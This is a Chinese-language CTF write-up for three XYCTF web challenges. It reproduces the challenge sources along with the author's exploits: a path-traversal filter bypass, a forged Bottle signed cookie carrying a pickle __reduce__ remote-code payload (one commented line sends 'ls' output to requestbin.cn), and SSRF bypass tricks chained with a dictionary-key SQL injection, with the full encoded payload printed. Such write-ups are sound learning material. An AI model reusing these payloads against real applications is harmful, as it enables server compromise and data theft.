XYCTF-WP

弱鸡只做了两道

Signin

这道题做的好伤感,一直奔着出网,觉得我外带不行那么我就重启我的VPS打反弹shell,反正本地分非常成功,但是就这样试了几个小时,没试出来,有点蛋疼
也算是灵机一动,试试把回显放进文件,反正我们已经实现文件读取了,最后真的一下就成功了,想死

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
flag in /flag_{uuid4}

from bottle import Bottle, request, response, redirect, static_file, run, route

with open('../../secret.txt', 'r') as f:

    secret = f.read()



app = Bottle()

@route('/')

def index():

    return '''HI'''

@route('/download')

def download():

    name = request.query.filename

    if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:

        response.status = 403

        return 'Forbidden'

    with open(name, 'rb') as f:

        data = f.read()

    return data



@route('/secret')

def secret_page():

    try:

        session = request.get_cookie("name", secret=secret)

        if not session or session["name"] == "guest":

            session = {"name": "guest"}

            response.set_cookie("name", session, secret=secret)

            return 'Forbidden!'

        if session["name"] == "admin":

            return 'The secret has been deleted!'

    except:

        return "Error!"

run(host='0.0.0.0', port=8080, debug=False)

可以看到/download路由可以实现任意文件读取,其实绕过过滤很简单,直接./.././../secret.txt实现任意文件读取,读取到密匙Hell0_H@cker_Y0u_A3r_Sm@r7
但是我们必须要命令执行才能知道flag文件的路径

可以实现伪造session,但是聪明的你已经发现,/secret路由并没有命令执行的部分,这里面还有什么说法呢?(出题人提示可以RCE服务器)

这个时候检索下,或者直接去翻bottle的源码()
get_cookie的操作
存在pickle反序列化
我们直接本地伪造session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from bottle import Bottle, route, run, template, request, response

import os

Mountain="Hell0_H@cker_Y0u_A3r_Sm@r7"



class Test:

    def __reduce__(self):

        #return (eval, ("""__import__('os').popen('curl http://requestbin.cn:80/1lhkqfa1?data=$(ls | base64)').read()""",))

        return (eval, ("""__import__('os').system('ls / > /secret.txt')""",))

@route("/hello")

def hello_world():

    try:

        session = {"name": Test()}

        response.set_cookie("name", session, secret=Mountain)

        return "ok"

    except:

        return "hacker!!! I've caught you"

'''

@route('/secret')

def secret_page():

    try:

        session = request.get_cookie("name", secret=Mountain)

        if not session or session["name"] == "guest":

            session = {"name": "guest"}

            response.set_cookie("name", session, secret=Mountain)

            return 'Forbidden!'

        if session["name"] == "admin":

            return 'The secret has been deleted!'

    except:

        return "Error!"

'''

if __name__ == "__main__":

    run(host="0.0.0.0", port=8089)

我最开始的想法是出网的,外带试了,反弹shell试了都成功,但题目环境不出网,浪费了很多时间
可以把回显写入secret.txt文件的,还是没做熟啊
最后也是成功知道flag文件名,成功读取到
flag{We1c0me_t0_XYCTF_2o25!The_secret_1s_L@men7XU_L0v3_u!}

puzzle

第一步,把代码反混淆掉
来这个网站https://beautifier.io/
第二步,定位infernity
找到关键函数
第三步,明确什么定义拼图成功,找到这个变量,将它改为true
第四步,控制台输出

Fate

心路历程:这道题分三个部分,第一块是SSRF相关绕过,第二块是python字符串格式化漏洞,第三块是sql语句,第二块卡死了给,还是题给做少了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python3
import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
    if len(binary_string) % 8 != 0:
        raise ValueError("Binary string length must be a multiple of 8")
    binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
    string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)
    return string_output
@app.route('/proxy', methods=['GET'])
def nolettersproxy():
    url = flask.request.args.get('url')
    if not url:
        return flask.abort(400, 'No URL provided')
    target_url = "http://lamentxu.top" + url
    for i in blacklist:
        if i in url:
            return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
    if "." in url:
        return flask.abort(403, 'No ssrf allowed')
    response = requests.get(target_url)
    return flask.Response(response.content, response.status_code)
def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
        found = cur.fetchone()
    return None if found is None else found[0]
@app.route('/')
def index():
    print(flask.request.remote_addr)
    return flask.render_template("index.html")
@app.route('/1337', methods=['GET'])
def api_search():
    if flask.request.remote_addr == '127.0.0.1':
        code = flask.request.args.get('0')
        if code == 'abcdefghi':
            req = flask.request.args.get('1')
            try:
                req = binary_to_string(req)
                print(req)
                req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
            except:
                flask.abort(400, "Invalid JSON")
            if 'name' not in req:
                flask.abort(400, "Empty Person's name")
            name = req['name']
            if len(name) > 6:
                flask.abort(400, "Too long")
            if '\'' in name:
                flask.abort(400, "NO '")
            if ')' in name:
                flask.abort(400, "NO )")
            """
            Some waf hidden here ;)
            """
            fate = db_search(name)
            if fate is None:
                flask.abort(404, "No such Person")
            return {'Fate': fate}
        else:
            flask.abort(400, "Hello local, and hello hacker")
    else:
        flask.abort(403, "Only local access allowed")
if __name__ == '__main__':
    app.run(debug=True)

SSRF:
使用@绕过前缀;使八进制绕过.号(注意加上端口8080…);由于不能有字母,对于所谓的abcdefghi,采取双重url编码即可,注意&也编码成%26;最后的二进制简单写一个代码转换即可

1
2
3
4
5
6
7
def string_to_binary(input_string):
binary_chunks = []
for char in input_string:
binary_char = bin(ord(char))[2:].zfill(8)
binary_chunks.append(binary_char)
binary_string = ''.join(binary_chunks)
return binary_string

所以,第一块的payload即:?url=@2130706433/?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569%261='转化到的二进制'
第二块需要我们如何绕过严密的WAF实现sql注入
注意我们在init_db.py上找到flag位置LAMENTXU,存在flag,即绕过进行"')))))) union select fate from FATETABLE where name='LAMENTXU' --"
那么如何传入?python格式化漏洞
注意到有f’xxxx’,简单来讲,它可以把其他类型转化为字符串;这道题就这样,但是关于该漏洞的知识点,有机会会总结一篇
例子

1
2
3
4
5
6
7
8
9
10
import json
a=json.dumps({"name":{"1afasagagaga":1}})#len为1
#a=json.dumps({"name":('1afasagagaga','2')})#len为2
#a=json.dumps({"name":['1afasagagaga','2']})#len为2
b=json.loads(a)
print(b)
asd=b['name']
print(asd)
print(len(asd))
print(f'aaa{asd}')#原sql拼接用了f''因此存在python格式化字符串漏洞,,可以用列表,元组,字典绕过len,即WAF

这里限制了列表和元组,使用字典
即可构造{"name":{"')))))) union select fate from FATETABLE where name='LAMENTXU' -- ":1}}
即最终的payload:

1
/proxy?url=@2130706433/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569%261=011110110010001001101110011000010110110101100101001000100011101000100000011110110010001000100111001010010010100100101001001010010010100100101001001010010010000001110101011011100110100101101111011011100010000001110011011001010110110001100101011000110111010000100000011001100110000101110100011001010010000001100110011100100110111101101101001000000100011001000001010101000100010101010100010000010100001001001100010001010010000001110111011010000110010101110010011001010010000001101110011000010110110101100101001111010010011101001100010000010100110101000101010011100101010001011000010101010010011100100000001011010010110100100000001000100011101000100000001100010111110101111101

成功拿到flag~